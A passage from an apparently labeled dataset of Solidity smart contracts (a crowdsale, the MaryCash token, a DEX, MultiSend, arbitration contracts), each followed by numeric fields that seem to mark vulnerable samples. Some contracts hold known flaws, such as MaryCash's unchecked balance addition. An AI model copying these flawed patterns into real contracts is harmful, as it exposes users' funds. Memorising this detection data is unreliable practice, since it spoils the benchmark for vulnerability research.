function refund(address investor, uint256 depositedValue) public onlyOwner {
require(
state == State.Refunding,
"Failed to refund due to state is not Refunding."
);
emit Refunded(investor, depositedValue);
investor.transfer(depositedValue);
}
}
contract IcoRocketFuel is Ownable {
using SafeMath for uint256;
enum States {Ready, Active, Paused, Refunding, Closed}
States public state = States.Ready;
ERC20 public token = ERC20(0x0e27b0ca1f890d37737dd5cde9de22431255f524);
address public crowdsaleOwner = 0xf75589cac3b23f24de65fe5a3cd07966728071a3;
address public commissionWallet = 0xf75589cac3b23f24de65fe5a3cd07966728071a3;
uint256 public baseExRate = 20;
uint8 public baseExRateDecimals = 0;
CurrencyExchangeRate public exRate = CurrencyExchangeRate(0x44802e3d6fb67bd8ee7b24033ee04b1290692fd9);
uint256 public currency = 1;
uint256 public raised = 0;
uint256 public cap = 25000000 * (10**18);
uint256 public goal = 0;
uint256 public minInvest = 50000 * (10**18);
uint256 public closingTime = 1548979200;
bool public earlyClosure = true;
uint8 public commission = 10;
KYC public kyc = KYC(0x8df3064451f840285993e2a4cfc0ec56b267d288);
uint256 public countryBlacklist = 27606985387965724171868518586879082855975017189942647717541493312847872;
uint8 public kycLevel = 100;
bool public legalPersonSkipsCountryCheck = true;
mapping(address => uint256) public deposits;
EtherVault public vault;
mapping(address => uint256) public invests;
mapping(address => uint256) public tokenUnits;
uint256 public totalTokenUnits = 0;
struct BonusTier {
uint256 investSize;
uint256 bonus;
}
BonusTier[] public bonusTiers;
event StateSet(
address indexed setter,
States oldState,
States newState
);
event CrowdsaleStarted(
address indexed icoTeam
);
event TokenBought(
address indexed buyer,
uint256 valueWei,
uint256 valueCurrency
);
event TokensRefunded(
address indexed beneficiary,
uint256 valueTokenUnit
);
event Finalized(
address indexed icoTeam
);
event SurplusTokensRefunded(
address indexed beneficiary,
uint256 valueTokenUnit
);
event CrowdsaleStopped(
address indexed owner
);
event TokenClaimed(
address indexed beneficiary,
uint256 valueTokenUnit
);
event RefundClaimed(
address indexed beneficiary,
uint256 valueWei
);
modifier onlyCrowdsaleOwner() {
require(
msg.sender == crowdsaleOwner,
"Failed to call function due to permission denied."
);
_;
}
modifier inState(States _state) {
require(
state == _state,
"Failed to call function due to crowdsale is not in right state."
);
_;
}
constructor() public {
bonusTiers.push(
BonusTier({
investSize: 400000 * (10**18),
bonus: 50
})
);
bonusTiers.push(
BonusTier({
investSize: 200000 * (10**18),
bonus: 40
})
);
bonusTiers.push(
BonusTier({
investSize: 100000 * (10**18),
bonus: 30
})
);
bonusTiers.push(
BonusTier({
investSize: 50000 * (10**18),
bonus: 20
})
);
}
function setAddress(
address _token,
address _crowdsaleOwner,
address _commissionWallet,
address _exRate,
address _kyc
) external onlyOwner inState(States.Ready){
token = ERC20(_token);
crowdsaleOwner = _crowdsaleOwner;
commissionWallet = _commissionWallet;
exRate = CurrencyExchangeRate(_exRate);
kyc = KYC(_kyc);
}
function setSpecialOffer(
uint256 _currency,
uint256 _cap,
uint256 _goal,
uint256 _minInvest,
uint256 _closingTime
) external onlyOwner inState(States.Ready) {
currency = _currency;
cap = _cap;
goal = _goal;
minInvest = _minInvest;
closingTime = _closingTime;
}
function setInvestRestriction(
uint256 _countryBlacklist,
uint8 _kycLevel,
bool _legalPersonSkipsCountryCheck
) external onlyOwner inState(States.Ready) {
countryBlacklist = _countryBlacklist;
kycLevel = _kycLevel;
legalPersonSkipsCountryCheck = _legalPersonSkipsCountryCheck;
}
function setState(uint256 _state) external onlyOwner {
require(
uint256(state) < uint256(States.Refunding),
"Failed to set state due to crowdsale was finalized."
);
require(
uint256(States.Active) == _state || uint256(States.Paused) == _state,
"Failed to set state due to invalid index."
);
emit StateSet(msg.sender, state, States(_state));
state = States(_state);
}
function _getBonus(uint256 _investSize, uint256 _tokenUnits)
private view returns (uint256)
{
for (uint256 _i = 0; _i < bonusTiers.length; _i++) {
if (_investSize >= bonusTiers[_i].investSize) {
return _tokenUnits.mul(bonusTiers[_i].bonus).div(100);
}
}
return 0;
}
function startCrowdsale()
external
onlyCrowdsaleOwner
inState(States.Ready)
{
emit CrowdsaleStarted(msg.sender);
vault = new EtherVault(msg.sender);
state = States.Active;
}
function buyToken()
external
inState(States.Active)
payable
{
if (kycLevel > 0) {
require(
block.timestamp < kyc.expireOf(msg.sender),
"Failed to buy token due to KYC was expired."
);
}
require(
kycLevel <= kyc.kycLevelOf(msg.sender),
"Failed to buy token due to require higher KYC level."
);
require(
countryBlacklist & kyc.nationalitiesOf(msg.sender) == 0 || (
kyc.kycLevelOf(msg.sender) >= 200 && legalPersonSkipsCountryCheck
),
"Failed to buy token due to country investment restriction."
);
(uint256 _exRate, uint8 _exRateDecimals) = exRate.currencies(currency);
uint256 _investSize = (msg.value)
.mul(_exRate).div(10**uint256(_exRateDecimals));
require(
_investSize >= minInvest,
"Failed to buy token due to less than minimum investment."
);
require(
raised.add(_investSize) <= cap,
"Failed to buy token due to exceed cap."
);
require(
block.timestamp < closingTime,
"Failed to buy token due to crowdsale is closed."
);
invests[msg.sender] = invests[msg.sender].add(_investSize);
deposits[msg.sender] = deposits[msg.sender].add(msg.value);
raised = raised.add(_investSize);
uint256 _previousTokenUnits = tokenUnits[msg.sender];
uint256 _tokenUnits = invests[msg.sender]
.mul(baseExRate)
.div(10**uint256(baseExRateDecimals));
uint256 _tokenUnitsWithBonus = _tokenUnits.add(
_getBonus(invests[msg.sender], _tokenUnits));
tokenUnits[msg.sender] = _tokenUnitsWithBonus;
totalTokenUnits = totalTokenUnits
.sub(_previousTokenUnits)
.add(_tokenUnitsWithBonus);
emit TokenBought(msg.sender, msg.value, _investSize);
vault.deposit.value(msg.value)();
}
function _refundTokens()
private
inState(States.Refunding)
{
uint256 _value = token.balanceOf(address(this));
emit TokensRefunded(crowdsaleOwner, _value);
if (_value > 0) {
token.transfer(crowdsaleOwner, _value);
}
}
function finalize()
external
inState(States.Active)
onlyCrowdsaleOwner
{
require(
earlyClosure || block.timestamp >= closingTime,
"Failed to finalize due to crowdsale is opening."
);
emit Finalized(msg.sender);
if (raised >= goal && token.balanceOf(address(this)) >= totalTokenUnits) {
state = States.Closed;
uint256 _balance = token.balanceOf(address(this));
uint256 _surplus = _balance.sub(totalTokenUnits);
emit SurplusTokensRefunded(crowdsaleOwner, _surplus);
if (_surplus > 0) {
token.transfer(crowdsaleOwner, _surplus);
}
vault.close(commissionWallet, commission);
} else {
state = States.Refunding;
_refundTokens();
vault.enableRefunds();
}
}
function stopCrowdsale()
external
onlyOwner
inState(States.Paused)
{
emit CrowdsaleStopped(msg.sender);
state = States.Refunding;
_refundTokens();
vault.enableRefunds();
}
function claimToken()
external
inState(States.Closed)
{
require(
tokenUnits[msg.sender] > 0,
"Failed to claim token due to token unit is 0."
);
uint256 _value = tokenUnits[msg.sender];
tokenUnits[msg.sender] = 0;
emit TokenClaimed(msg.sender, _value);
token.transfer(msg.sender, _value);
}
function claimRefund()
external
inState(States.Refunding)
{
require(
deposits[msg.sender] > 0,
"Failed to claim refund due to deposit is 0."
);
uint256 _value = deposits[msg.sender];
deposits[msg.sender] = 0;
emit RefundClaimed(msg.sender, _value);
vault.refund(msg.sender, _value);
}
} | 0 | 624 |
pragma solidity ^0.4.16;
contract Token{
uint256 public totalSupply;
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract MaryCash is Token {
string public name;
uint8 public decimals;
string public symbol;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
function MaryCash(uint256 _initialAmount, string _tokenName, uint8 _decimalUnits, string _tokenSymbol) public {
totalSupply = _initialAmount * 10 ** uint256(_decimalUnits);
balances[msg.sender] = totalSupply;
name = _tokenName;
decimals = _decimalUnits;
symbol = _tokenSymbol;
}
function transfer(address _to, uint256 _value) public returns (bool success) {
require(balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]);
require(_to != 0x0);
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value);
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
} | 1 | 2,055 |
pragma solidity ^0.4.25;
contract Ownable {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
assert(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
assert(_newOwner != address(0));
newOwner = _newOwner;
}
function acceptOwnership() public {
if (msg.sender == newOwner) {
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
}
interface SDADI {
function AddToken(address token) external;
function DelToken(address token) external;
}
interface DAppDEXI {
function updateAgent(address _agent, bool _status) external;
function setAccountType(address user_, uint256 type_) external;
function getAccountType(address user_) external view returns(uint256);
function setFeeType(uint256 type_ , uint256 feeMake_, uint256 feeTake_) external;
function getFeeMake(uint256 type_ ) external view returns(uint256);
function getFeeTake(uint256 type_ ) external view returns(uint256);
function changeFeeAccount(address feeAccount_) external;
function setWhitelistTokens(address token) external;
function setWhitelistTokens(address token, bool active, uint256 timestamp, bytes32 typeERC) external;
function depositToken(address token, uint amount) external;
function tokenFallback(address owner, uint256 amount, bytes data) external returns (bool success);
function withdraw(uint amount) external;
function withdrawToken(address token, uint amount) external;
function balanceOf(address token, address user) external view returns (uint);
function order(address tokenBuy, uint amountBuy, address tokenSell, uint amountSell, uint expires, uint nonce) external;
function trade(address tokenBuy, uint amountBuy, address tokenSell, uint amountSell, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s, uint amount) external;
function cancelOrder(address tokenBuy, uint amountBuy, address tokenSell, uint amountSell, uint expires, uint nonce, uint8 v, bytes32 r, bytes32 s) external;
function testTrade(address tokenBuy, uint amountBuy, address tokenSell, uint amountSell, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s, uint amount, address sender) external view returns(bool);
function availableVolume(address tokenBuy, uint amountBuy, address tokenSell, uint amountSell, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s) external view returns(uint);
function amountFilled(address tokenBuy, uint amountBuy, address tokenSell, uint amountSell, uint expires, uint nonce, address user) external view returns(uint);
}
interface ERC20I {
function balanceOf(address _owner) external view returns (uint256);
function totalSupply() external view returns (uint256);
function transfer(address _to, uint256 _value) external returns (bool success);
function allowance(address _owner, address _spender) external view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value) external returns (bool success);
function approve(address _spender, uint256 _value) external returns (bool success);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract SafeMath {
function safeSub(uint256 x, uint256 y) internal pure returns (uint256) {
assert(y <= x);
uint256 z = x - y;
return z;
}
function safeAdd(uint256 x, uint256 y) internal pure returns (uint256) {
uint256 z = x + y;
assert(z >= x);
return z;
}
function safeDiv(uint256 x, uint256 y) internal pure returns (uint256) {
uint256 z = x / y;
return z;
}
function safeMul(uint256 x, uint256 y) internal pure returns (uint256) {
if (x == 0) {
return 0;
}
uint256 z = x * y;
assert(z / x == y);
return z;
}
function safePerc(uint256 x, uint256 y) internal pure returns (uint256) {
if (x == 0) {
return 0;
}
uint256 z = x * y;
assert(z / x == y);
z = z / 10000;
return z;
}
function min(uint256 x, uint256 y) internal pure returns (uint256) {
uint256 z = x <= y ? x : y;
return z;
}
function max(uint256 x, uint256 y) internal pure returns (uint256) {
uint256 z = x >= y ? x : y;
return z;
}
}
contract Agent is Ownable {
address public defAgent;
mapping(address => bool) public Agents;
constructor() public {
Agents[msg.sender] = true;
}
modifier onlyAgent() {
assert(Agents[msg.sender]);
_;
}
function updateAgent(address _agent, bool _status) public onlyOwner {
assert(_agent != address(0));
Agents[_agent] = _status;
}
}
contract DAppDEX is DAppDEXI, SafeMath, Agent {
address public feeAccount;
mapping (address => mapping (address => uint)) public tokens;
mapping (address => mapping (bytes32 => bool)) public orders;
mapping (address => mapping (bytes32 => uint)) public orderFills;
uint public feeListing = 100;
struct whitelistToken {
bool active;
uint256 timestamp;
}
struct Fee {
uint256 feeMake;
uint256 feeTake;
}
mapping (address => whitelistToken) public whitelistTokens;
mapping (address => uint256) public accountTypes;
mapping (uint256 => Fee) public feeTypes;
event Deposit(address token, address user, uint amount, uint balance);
event PayFeeListing(address token, address user, uint amount, uint balance);
event Withdraw(address token, address user, uint amount, uint balance);
event Order(address tokenBuy, uint amountBuy, address tokenSell, uint amountSell, uint expires, uint nonce, address user);
event Cancel(address tokenBuy, uint amountBuy, address tokenSell, uint amountSell, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s, bytes32 hash);
event Trade(address tokenBuy, uint amountBuy, address tokenSell, uint amountSell, address user, address recipient, bytes32 hash, uint256 timestamp);
event WhitelistTokens(address token, bool active, uint256 timestamp, bytes32 typeERC);
constructor (address feeAccount_) public {
feeAccount = feeAccount_;
feeTypes[0] = Fee(1000000000000000, 2000000000000000);
whitelistTokens[0] = whitelistToken(true, 1);
emit WhitelistTokens(0, true, 1, 0x0);
}
function setFeeListing(uint _feeListing) external onlyAgent {
feeListing = _feeListing;
}
function setAccountType(address user_, uint256 type_) external onlyAgent {
accountTypes[user_] = type_;
}
function getAccountType(address user_) external view returns(uint256) {
return accountTypes[user_];
}
function setFeeType(uint256 type_ , uint256 feeMake_, uint256 feeTake_) external onlyAgent {
feeTypes[type_] = Fee(feeMake_,feeTake_);
}
function getFeeMake(uint256 type_ ) external view returns(uint256) {
return (feeTypes[type_].feeMake);
}
function getFeeTake(uint256 type_ ) external view returns(uint256) {
return (feeTypes[type_].feeTake);
}
function changeFeeAccount(address feeAccount_) external onlyAgent {
require(feeAccount_ != address(0));
feeAccount = feeAccount_;
}
function setWhitelistTokens(address token) external onlyOwner {
whitelistTokens[token].active = true;
whitelistTokens[token].timestamp = now;
SDADI(feeAccount).AddToken(token);
emit WhitelistTokens(token, true, now, "ERC20");
}
function setWhitelistTokens(address token, bool active, uint256 timestamp, bytes32 typeERC) external onlyAgent {
if (active) {
uint fee = safePerc(ERC20I(token).totalSupply(), feeListing);
require(fee > 0);
require(tokens[token][feeAccount] >= fee);
SDADI(feeAccount).AddToken(token);
} else {
SDADI(feeAccount).DelToken(token);
}
whitelistTokens[token].active = active;
whitelistTokens[token].timestamp = timestamp;
emit WhitelistTokens(token, active, timestamp, typeERC);
}
function() public payable {
require(msg.value > 0);
deposit(msg.sender);
}
function deposit(address receiver) private {
tokens[0][receiver] = safeAdd(tokens[0][receiver], msg.value);
emit Deposit(0, receiver, msg.value, tokens[0][receiver]);
}
function depositToken(address token, uint amount) external {
require(token != address(0));
if (whitelistTokens[token].active) {
require(whitelistTokens[token].timestamp <= now);
require(ERC20I(token).transferFrom(msg.sender, this, amount));
tokens[token][msg.sender] = safeAdd(tokens[token][msg.sender], amount);
emit Deposit(token, msg.sender, amount, tokens[token][msg.sender]);
} else {
require(ERC20I(token).transferFrom(msg.sender, this, amount));
tokens[token][feeAccount] = safeAdd(tokens[token][feeAccount], amount);
emit PayFeeListing(token, msg.sender, amount, tokens[msg.sender][feeAccount]);
}
}
function tokenFallback(address owner, uint256 amount, bytes data) external returns (bool success) {
if (data.length == 0) {
assert(whitelistTokens[msg.sender].active && whitelistTokens[msg.sender].timestamp <= now);
tokens[msg.sender][owner] = safeAdd(tokens[msg.sender][owner], amount);
emit Deposit(msg.sender, owner, amount, tokens[msg.sender][owner]);
return true;
} else {
tokens[msg.sender][feeAccount] = safeAdd(tokens[msg.sender][feeAccount], amount);
emit PayFeeListing(msg.sender, owner, amount, tokens[msg.sender][feeAccount]);
return true;
}
}
function withdraw(uint amount) external {
require(tokens[0][msg.sender] >= amount);
tokens[0][msg.sender] = safeSub(tokens[0][msg.sender], amount);
msg.sender.transfer(amount);
emit Withdraw(0, msg.sender, amount, tokens[0][msg.sender]);
}
function withdrawToken(address token, uint amount) external {
require(token != address(0));
require(tokens[token][msg.sender] >= amount);
tokens[token][msg.sender] = safeSub(tokens[token][msg.sender], amount);
require(ERC20I(token).transfer(msg.sender, amount));
emit Withdraw(token, msg.sender, amount, tokens[token][msg.sender]);
}
function balanceOf(address token, address user) external view returns (uint) {
return tokens[token][user];
}
function order(address tokenBuy, uint amountBuy, address tokenSell, uint amountSell, uint expires, uint nonce) external {
bytes32 hash = keccak256(abi.encodePacked(this, tokenBuy, amountBuy, tokenSell, amountSell, expires, nonce, msg.sender));
orders[msg.sender][hash] = true;
emit Order(tokenBuy, amountBuy, tokenSell, amountSell, expires, nonce, msg.sender);
}
function trade(address tokenBuy, uint amountBuy, address tokenSell, uint amountSell, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s, uint amount) external {
bytes32 hash = keccak256(abi.encodePacked(this, tokenBuy, amountBuy, tokenSell, amountSell, expires, nonce, user));
if (!(
(orders[user][hash] || ecrecover(keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)),v,r,s) == user) &&
block.timestamp <= expires &&
safeAdd(orderFills[user][hash], amount) <= amountBuy
)) revert();
tradeBalances(tokenBuy, amountBuy, tokenSell, amountSell, user, amount);
orderFills[user][hash] = safeAdd(orderFills[user][hash], amount);
emit Trade(tokenBuy, amount, tokenSell, amountSell * amount / amountBuy, user, msg.sender, hash, block.timestamp);
}
function tradeBalances(address tokenBuy, uint amountBuy, address tokenSell, uint amountSell, address user, uint amount) private {
uint feeMakeXfer = safeMul(amount, feeTypes[accountTypes[user]].feeMake) / (10**18);
uint feeTakeXfer = safeMul(amount, feeTypes[accountTypes[msg.sender]].feeTake) / (10**18);
tokens[tokenBuy][msg.sender] = safeSub(tokens[tokenBuy][msg.sender], safeAdd(amount, feeTakeXfer));
tokens[tokenBuy][user] = safeAdd(tokens[tokenBuy][user], safeSub(amount, feeMakeXfer));
tokens[tokenBuy][feeAccount] = safeAdd(tokens[tokenBuy][feeAccount], safeAdd(feeMakeXfer, feeTakeXfer));
tokens[tokenSell][user] = safeSub(tokens[tokenSell][user], safeMul(amountSell, amount) / amountBuy);
tokens[tokenSell][msg.sender] = safeAdd(tokens[tokenSell][msg.sender], safeMul(amountSell, amount) / amountBuy);
}
function cancelOrder(address tokenBuy, uint amountBuy, address tokenSell, uint amountSell, uint expires, uint nonce, uint8 v, bytes32 r, bytes32 s) external {
bytes32 hash = keccak256(abi.encodePacked(this, tokenBuy, amountBuy, tokenSell, amountSell, expires, nonce, msg.sender));
if (!(orders[msg.sender][hash] || ecrecover(keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)),v,r,s) == msg.sender)) revert();
orderFills[msg.sender][hash] = amountBuy;
emit Cancel(tokenBuy, amountBuy, tokenSell, amountSell, expires, nonce, msg.sender, v, r, s, hash);
}
function testTrade(address tokenBuy, uint amountBuy, address tokenSell, uint amountSell, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s, uint amount, address sender) external view returns(bool) {
if (!(
tokens[tokenBuy][sender] >= amount &&
availableVolume(tokenBuy, amountBuy, tokenSell, amountSell, expires, nonce, user, v, r, s) >= amount
)) return false;
return true;
}
function availableVolume(address tokenBuy, uint amountBuy, address tokenSell, uint amountSell, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s) public view returns(uint) {
bytes32 hash = keccak256(abi.encodePacked(this, tokenBuy, amountBuy, tokenSell, amountSell, expires, nonce, user));
if (!(
(orders[user][hash] || ecrecover(keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)),v,r,s) == user) &&
block.timestamp <= expires
)) return 0;
uint available1 = safeSub(amountBuy, orderFills[user][hash]);
uint available2 = safeMul(tokens[tokenSell][user], amountBuy) / amountSell;
if (available1<available2) return available1;
return available2;
}
function amountFilled(address tokenBuy, uint amountBuy, address tokenSell, uint amountSell, uint expires, uint nonce, address user) external view returns(uint) {
bytes32 hash = keccak256(abi.encodePacked(this, tokenBuy, amountBuy, tokenSell, amountSell, expires, nonce, user));
return orderFills[user][hash];
}
} | 0 | 1,280 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract MultiSend {
event Multisended(uint256 total, address tokenAddress);
function multiSend(address _token, address[] addresses, uint[] counts) public {
uint total;
ERC20 token = ERC20(_token);
for(uint i = 0; i < addresses.length; i++) {
require(token.transferFrom(msg.sender, addresses[i], counts[i]));
total += counts[i];
}
emit Multisended(total,_token);
}
function multiSendEth(address[] addresses,uint[] counts) public payable {
for(uint i = 0; i < addresses.length; i++) {
addresses[i].transfer(counts[i]);
}
}
} | 1 | 2,851 |
pragma solidity ^0.4.24;
interface IArbitrable {
event MetaEvidence(uint indexed _metaEvidenceID, string _evidence);
event Dispute(Arbitrator indexed _arbitrator, uint indexed _disputeID, uint _metaEvidenceID, uint _evidenceGroupID);
event Evidence(Arbitrator indexed _arbitrator, uint indexed _evidenceGroupID, address indexed _party, string _evidence);
event Ruling(Arbitrator indexed _arbitrator, uint indexed _disputeID, uint _ruling);
function rule(uint _disputeID, uint _ruling) external;
}
contract Arbitrable is IArbitrable {
Arbitrator public arbitrator;
bytes public arbitratorExtraData;
modifier onlyArbitrator {require(msg.sender == address(arbitrator), "Can only be called by the arbitrator."); _;}
constructor(Arbitrator _arbitrator, bytes memory _arbitratorExtraData) public {
arbitrator = _arbitrator;
arbitratorExtraData = _arbitratorExtraData;
}
function rule(uint _disputeID, uint _ruling) public onlyArbitrator {
emit Ruling(Arbitrator(msg.sender),_disputeID,_ruling);
executeRuling(_disputeID,_ruling);
}
function executeRuling(uint _disputeID, uint _ruling) internal;
}
contract Arbitrator {
enum DisputeStatus {Waiting, Appealable, Solved}
modifier requireArbitrationFee(bytes memory _extraData) {
require(msg.value >= arbitrationCost(_extraData), "Not enough ETH to cover arbitration costs.");
_;
}
modifier requireAppealFee(uint _disputeID, bytes memory _extraData) {
require(msg.value >= appealCost(_disputeID, _extraData), "Not enough ETH to cover appeal costs.");
_;
}
event DisputeCreation(uint indexed _disputeID, Arbitrable indexed _arbitrable);
event AppealPossible(uint indexed _disputeID, Arbitrable indexed _arbitrable);
event AppealDecision(uint indexed _disputeID, Arbitrable indexed _arbitrable);
function createDispute(uint _choices, bytes memory _extraData) public requireArbitrationFee(_extraData) payable returns(uint disputeID) {}
function arbitrationCost(bytes memory _extraData) public view returns(uint fee);
function appeal(uint _disputeID, bytes memory _extraData) public requireAppealFee(_disputeID,_extraData) payable {
emit AppealDecision(_disputeID, Arbitrable(msg.sender));
}
function appealCost(uint _disputeID, bytes memory _extraData) public view returns(uint fee);
function appealPeriod(uint _disputeID) public view returns(uint start, uint end) {}
function disputeStatus(uint _disputeID) public view returns(DisputeStatus status);
function currentRuling(uint _disputeID) public view returns(uint ruling);
}
contract CentralizedArbitrator is Arbitrator {
address public owner = msg.sender;
uint arbitrationPrice;
uint constant NOT_PAYABLE_VALUE = (2**256-2)/2;
struct DisputeStruct {
Arbitrable arbitrated;
uint choices;
uint fee;
uint ruling;
DisputeStatus status;
}
modifier onlyOwner {require(msg.sender==owner, "Can only be called by the owner."); _;}
DisputeStruct[] public disputes;
constructor(uint _arbitrationPrice) public {
arbitrationPrice = _arbitrationPrice;
}
function setArbitrationPrice(uint _arbitrationPrice) public onlyOwner {
arbitrationPrice = _arbitrationPrice;
}
function arbitrationCost(bytes _extraData) public view returns(uint fee) {
return arbitrationPrice;
}
function appealCost(uint _disputeID, bytes _extraData) public view returns(uint fee) {
return NOT_PAYABLE_VALUE;
}
function createDispute(uint _choices, bytes _extraData) public payable returns(uint disputeID) {
super.createDispute(_choices, _extraData);
disputeID = disputes.push(DisputeStruct({
arbitrated: Arbitrable(msg.sender),
choices: _choices,
fee: msg.value,
ruling: 0,
status: DisputeStatus.Waiting
})) - 1;
emit DisputeCreation(disputeID, Arbitrable(msg.sender));
}
function _giveRuling(uint _disputeID, uint _ruling) internal {
DisputeStruct storage dispute = disputes[_disputeID];
require(_ruling <= dispute.choices, "Invalid ruling.");
require(dispute.status != DisputeStatus.Solved, "The dispute must not be solved already.");
dispute.ruling = _ruling;
dispute.status = DisputeStatus.Solved;
msg.sender.send(dispute.fee);
dispute.arbitrated.rule(_disputeID,_ruling);
}
function giveRuling(uint _disputeID, uint _ruling) public onlyOwner {
return _giveRuling(_disputeID, _ruling);
}
function disputeStatus(uint _disputeID) public view returns(DisputeStatus status) {
return disputes[_disputeID].status;
}
function currentRuling(uint _disputeID) public view returns(uint ruling) {
return disputes[_disputeID].ruling;
}
}
contract AppealableArbitrator is CentralizedArbitrator, Arbitrable {
struct AppealDispute {
uint rulingTime;
Arbitrator arbitrator;
uint appealDisputeID;
}
uint public timeOut;
mapping(uint => AppealDispute) public appealDisputes;
mapping(uint => uint) public appealDisputeIDsToDisputeIDs;
constructor(
uint _arbitrationPrice,
Arbitrator _arbitrator,
bytes _arbitratorExtraData,
uint _timeOut
) public CentralizedArbitrator(_arbitrationPrice) Arbitrable(_arbitrator, _arbitratorExtraData) {
timeOut = _timeOut;
}
function changeArbitrator(Arbitrator _arbitrator) external onlyOwner {
arbitrator = _arbitrator;
}
function changeTimeOut(uint _timeOut) external onlyOwner {
timeOut = _timeOut;
}
function getAppealDisputeID(uint _disputeID) external view returns(uint disputeID) {
if (appealDisputes[_disputeID].arbitrator != Arbitrator(address(0)))
disputeID = AppealableArbitrator(appealDisputes[_disputeID].arbitrator).getAppealDisputeID(appealDisputes[_disputeID].appealDisputeID);
else disputeID = _disputeID;
}
function appeal(uint _disputeID, bytes _extraData) public payable requireAppealFee(_disputeID, _extraData) {
super.appeal(_disputeID, _extraData);
if (appealDisputes[_disputeID].arbitrator != Arbitrator(address(0)))
appealDisputes[_disputeID].arbitrator.appeal.value(msg.value)(appealDisputes[_disputeID].appealDisputeID, _extraData);
else {
appealDisputes[_disputeID].arbitrator = arbitrator;
appealDisputes[_disputeID].appealDisputeID = arbitrator.createDispute.value(msg.value)(disputes[_disputeID].choices, _extraData);
appealDisputeIDsToDisputeIDs[appealDisputes[_disputeID].appealDisputeID] = _disputeID;
}
}
function giveRuling(uint _disputeID, uint _ruling) public {
require(disputes[_disputeID].status != DisputeStatus.Solved, "The specified dispute is already resolved.");
if (appealDisputes[_disputeID].arbitrator != Arbitrator(address(0))) {
require(Arbitrator(msg.sender) == appealDisputes[_disputeID].arbitrator, "Appealed disputes must be ruled by their back up arbitrator.");
super._giveRuling(_disputeID, _ruling);
} else {
require(msg.sender == owner, "Not appealed disputes must be ruled by the owner.");
if (disputes[_disputeID].status == DisputeStatus.Appealable) {
if (now - appealDisputes[_disputeID].rulingTime > timeOut)
super._giveRuling(_disputeID, disputes[_disputeID].ruling);
else revert("Time out time has not passed yet.");
} else {
disputes[_disputeID].ruling = _ruling;
disputes[_disputeID].status = DisputeStatus.Appealable;
appealDisputes[_disputeID].rulingTime = now;
emit AppealPossible(_disputeID, disputes[_disputeID].arbitrated);
}
}
}
function appealCost(uint _disputeID, bytes _extraData) public view returns(uint cost) {
if (appealDisputes[_disputeID].arbitrator != Arbitrator(address(0)))
cost = appealDisputes[_disputeID].arbitrator.appealCost(appealDisputes[_disputeID].appealDisputeID, _extraData);
else if (disputes[_disputeID].status == DisputeStatus.Appealable) cost = arbitrator.arbitrationCost(_extraData);
else cost = NOT_PAYABLE_VALUE;
}
function disputeStatus(uint _disputeID) public view returns(DisputeStatus status) {
if (appealDisputes[_disputeID].arbitrator != Arbitrator(address(0)))
status = appealDisputes[_disputeID].arbitrator.disputeStatus(appealDisputes[_disputeID].appealDisputeID);
else status = disputes[_disputeID].status;
}
function executeRuling(uint _disputeID, uint _ruling) internal {
require(
appealDisputes[appealDisputeIDsToDisputeIDs[_disputeID]].arbitrator != Arbitrator(address(0)),
"The dispute must have been appealed."
);
giveRuling(appealDisputeIDsToDisputeIDs[_disputeID], _ruling);
}
}
contract MultipleArbitrableTransaction is IArbitrable {
uint8 constant AMOUNT_OF_CHOICES = 2;
uint8 constant SENDER_WINS = 1;
uint8 constant RECEIVER_WINS = 2;
enum Party {Sender, Receiver}
enum Status {NoDispute, WaitingSender, WaitingReceiver, DisputeCreated, Resolved}
struct Transaction {
address sender;
address receiver;
uint amount;
uint timeoutPayment;
uint disputeId;
uint senderFee;
uint receiverFee;
uint lastInteraction;
Status status;
}
Transaction[] public transactions;
bytes public arbitratorExtraData;
Arbitrator public arbitrator;
uint public feeTimeout;
mapping (uint => uint) public disputeIDtoTransactionID;
event MetaEvidence(uint indexed _metaEvidenceID, string _evidence);
event Payment(uint indexed _transactionID, uint _amount, address _party);
event HasToPayFee(uint indexed _transactionID, Party _party);
event Evidence(Arbitrator indexed _arbitrator, uint indexed _evidenceGroupID, address indexed _party, string _evidence);
